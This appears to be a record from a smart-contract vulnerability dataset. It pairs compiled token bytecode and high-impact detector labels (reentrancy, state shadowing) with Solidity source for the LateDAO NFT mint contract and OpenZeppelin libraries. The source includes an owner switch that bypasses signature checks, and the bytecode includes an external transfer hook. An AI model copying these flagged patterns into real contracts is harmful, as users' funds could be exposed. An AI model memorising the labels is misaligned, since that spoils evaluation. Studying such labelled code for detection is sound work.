06010805462ff000019169055565b6001600160a01b0383166117f55760405162461bcd60e51b815260040161067e90611ee5565b6001600160a01b03821661181b5760405162461bcd60e51b815260040161067e90611f2a565b6002546001600160a01b031615806118395750611839838383611a64565b156118fe5761187b81604051806060016040528060268152602001612041602691396001600160a01b038616600090815260036020526040902054919061163c565b6001600160a01b0380851660009081526003602052604080822093909355908416815220546118aa9082611676565b6001600160a01b0380841660008181526003602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111129085815260200190565b505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061193857611938611f9c565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561198c57600080fd5b505afa1580156119a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c49190611e71565b816001815181106119d7576119d7611f9c565b6001600160a01b0392831660209182029290920101526008546119fd9130911684610ffa565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a36908590600090869030904290600401611fb2565b600060405180830381600087803b158015611a5057600080fd5b505af1158015611634573d6000803e3d6000fd5b600080611a7a83611a7487610751565b90611bad565b90506000611a9184611a8b87610751565b90611676565b6002546040516302ccb1b360e41b81526001600160a01b03898116600483015260248201869052929350911690632ccb1b3090604401602060405180830381600087803b158015611ae157600080fd5b505af1158015611af5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b199190612023565b506002546040516302ccb1b360e41b81526001600160a01b0387811660048301526024820184905290911690632ccb1b3090604401602060405180830381600087803b158015611b6857600080fd5b505af1158015611b7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba09190612023565b5060009695505050505050565b6000610fb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061163c565b600060208083528351808285015260005b81811015611c1c57858101830151858201604001528201611c00565b81811115611c2e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611c5957600080fd5b50565b60008060408385031215611c6f57600080fd5b8235611c7a81611c44565b946020939093013593505050565b8015158114611c5957600080fd5b60008060408385031215611ca957600080fd5b8235611cb481611c44565b91506020830135611cc481611c88565b809150509250929050565b600080600060608486031215611ce457600080fd5b8335611cef81611c44565b92506020840135611cff81611c44565b929592945050506040919091013590565b600060208284031215611d2257600080fd5b8135610fb181611c44565b803560ff81168114611d3e57600080fd5b919050565b60008060408385031215611d5657600080fd5b611d5f83611d2d565b9150611d6d60208401611d2d565b90509250929050565b600060208284031215611d8857600080fd5b5035919050565b60008060408385031215611da257600080fd5b8235611dad81611c44565b91506020830135611cc481611c44565b600060208284031215611dcf57600080fd5b8135610fb181611c88565b600080600060608486031215611def57600080fd5b8335611dfa81611c88565b9250611e0860208501611d2d565b91506040840135611e1881611c44565b809150509250925092565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611e6a57600080fd5b5051919050565b600060208284031215611e8357600080fd5b8151610fb181611c44565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611ebe57611ebe611e8e565b500290565b600082611ee057634e487b7160e01b600052601260045260246000fd5b500490565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008219821115611f8057611f80611e8e565b500190565b600082821015611f9757611f97611e8e565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120025784516001600160a01b031683529383019391830191600101611fdd565b50506001600160a01b03969096166060850152505050608001529392505050565b60006020828403121561203557600080fd5b8151610fb181611c8856fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b1dacbe51728616693e5f3771f15c9b74e91650383a818b07644793e2122b99564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 16576, 2575, 2581, 2620, 2475, 2063, 2692, 16703, 2575, 6679, 16576, 2683, 19473, 2475, 4215, 7959, 16147, 2683, 12879, 22610, 4402, 27421, 12740, 2050, 1013, 1008, 2023, 2003, 8183, 28160, 1999, 2226, 8183, 28160, 13970, 5558, 1006, 1930, 100, 100, 1812, 1958, 13970, 5558, 8183, 28160, 1007, 2003, 1996, 2364, 10191, 1997, 1996, 2353, 2112, 1997, 1996, 8183, 5558, 1005, 1055, 13576, 6172, 2186, 1010, 2732, 24220, 18831, 1010, 1998, 1996, 2353, 8183, 5558, 1997, 1996, 2186, 1012, 2002, 2036, 3544, 2004, 1037, 3078, 9698, 1999, 6323, 2003, 4895, 23890, 3085, 1998, 2962, 4153, 1010, 1998, 3084, 1037, 4766, 3311, 2004, 1037, 13553, 2839, 1999, 18834, 2080, 8740, 2890, 2080, 1012, 2004, 1037, 2765, 1997, 2035, 2010, 3922, 1010, 8183, 28160, 2003, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,635
0x9717e477cc5869a4a228361492b9bf7b8db58582
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./BaseERC721A.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; ////////////////////////////////////////////// // // // _ _ ____ _ ___ // // | | __ _| |_ ___| _ \ / \ / _ \ // // | | / _` | __/ _ \ | | |/ _ \| | | | // // | |__| (_| | || __/ |_| / ___ \ |_| | // // |_____\__,_|\__\___|____/_/ \_\___/ // // // ////////////////////////////////////////////// contract LateDAO is BaseERC721A { using SafeMath for uint256; using ECDSA for bytes32; ProjectState public state; uint256 public constant MAX_SUPPLY = 10000; uint256 public price = 0.26 ether; bool private _bypassSignatureChecking = false; string private _baseTokenURI; mapping(bytes => uint256) private _ticketUsed; mapping(ProjectState => uint256) private _mintLimit; address public signerAddress; address private _wallet = 0x6DEA85F7Bb8216e327A275e3eC54CCf0885bccD4; enum ProjectState { Prepare, //0 WhitelistSale, //1 PublicSale, //2 Finished //3 } constructor(string memory _tokenURI) ERC721A("LateDAO", "LATE", 4) { _baseTokenURI = _tokenURI; state = ProjectState.Prepare; signerAddress = 0x534C0c297A123bb09Fa6f5B341F74eB931aCe0f3; _mintLimit[ProjectState.WhitelistSale] = 10; _mintLimit[ProjectState.PublicSale] = 10; } ////// External Modifying Functions ////// // update token URI function updateMyTokenURI888(string memory tokenURI) external onlyOwner { _baseTokenURI = tokenURI; } // update project state function updateProjectState(ProjectState _newState) external onlyOwner { state = _newState; } // emergency bypass signature checking function updateBypassSignatureChecking(bool _status) external onlyOwner { _bypassSignatureChecking = _status; } // update signer address function updateSignerAddress(address _address) external onlyOwner { signerAddress = _address; } // update wallet address function updateWalletAddress(address _address) external onlyOwner { _wallet = _address; } // update price function updatePrice(uint256 _newPrice) external onlyOwner { require( _newPrice >= 0.01 ether, "Price too low" ); require( _newPrice < 5 ether, "Price too high" ); price = _newPrice; } // airdrop NFT function airdropNFTFixed(address[] calldata _address, uint256 num) external onlyOwner { require( (_address.length * num) <= 1000, "Maximum 1000 tokens per transaction" ); require( totalSupply() + (_address.length * num) <= MAX_SUPPLY, "Exceeds maximum supply" ); for (uint256 i = 0; i < _address.length; i++) { _baseMint(_address[i], num); } } // airdrop NFT function airdropNFTDynamic(address[] calldata _address, uint256[] calldata _nums) external onlyOwner { uint256 sum = 0; for (uint i = 0; i < _nums.length; i++) { sum = sum + _nums[i]; } require( sum <= 1000, "Maximum 1000 tokens per transaction" ); require( totalSupply() + sum <= MAX_SUPPLY, "Exceeds maximum supply" ); for (uint256 i = 0; i < _address.length; i++) { _baseMint(_address[i], _nums[i]); } } // mint multiple token function mintMyNFT666( uint256 _num, bytes memory _ticket, bytes memory _signature ) public payable { // check if sale is stared require( (ProjectState.Prepare != state && ProjectState.Finished != state), "Sale is not started" ); // only EOA can call this function require(msg.sender == tx.origin, "Only EOA can call this function"); // minting amt cannot be over the limit of the current state require( (_num > 0 && _num <= _mintLimit[state]), "Incorrect minting amount" ); // each ticket cannot be used to mint over the allowed amt if (!_bypassSignatureChecking) { require(_ticketUsed[_ticket] + _num <= _mintLimit[state] , "Minting amount exceed limit"); } // validate ticket if (!_bypassSignatureChecking) { require( isSignedBySigner( msg.sender, _ticket, _signature, signerAddress ), "Ticket is invalid" ); } _ticketUsed[_ticket] += _num; _mint(_num); } // withdraw the balance if needed function withdraw() external onlyOwner { payable(_wallet).transfer( address(this).balance ); } ////// Internal Functions ////// function _mint(uint256 num) private { require(totalSupply() + num <= MAX_SUPPLY, "Exceeds maximum supply"); require(msg.value >= (price * num), "Not enough ETH was sent"); // transfer the fund to the project team payable(_wallet).transfer(msg.value); _baseMint(num); } /////// Readonly and Pure Functions ////// // required override function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } // return the wallet address by index function walletAddress() external view returns (address) { return _wallet; } // validate signature address function isSignedBySigner( address _sender, bytes memory _ticket, bytes memory _signature, address signer ) private pure returns (bool) { bytes32 hash = keccak256(abi.encodePacked(_sender, _ticket)); return signer == hash.recover(_signature); } } //SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./ERC721A.sol"; abstract contract BaseERC721A is Ownable, ERC721A { using SafeMath for uint256; function _baseMint(uint256 quantity) internal { // mint the token _baseMint(msg.sender, quantity); } function _baseMint(address _address, uint256 quantity) internal { // mint the token to target address if ( quantity > 4) { for (uint256 i = 0; i < quantity; i++) { _safeMint(_address, 1); } } else { _safeMint(_address, quantity); } } function tokenURI(uint256 tokenId) public view override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string( abi.encodePacked( baseURI, Strings.toString(tokenId), ".json" ) ) : ""; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // Creators: locationtba.eth, 2pmflow.eth pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_ ) { require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require( owner != address(0), "ERC721A: balance query for the zero address" ); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string 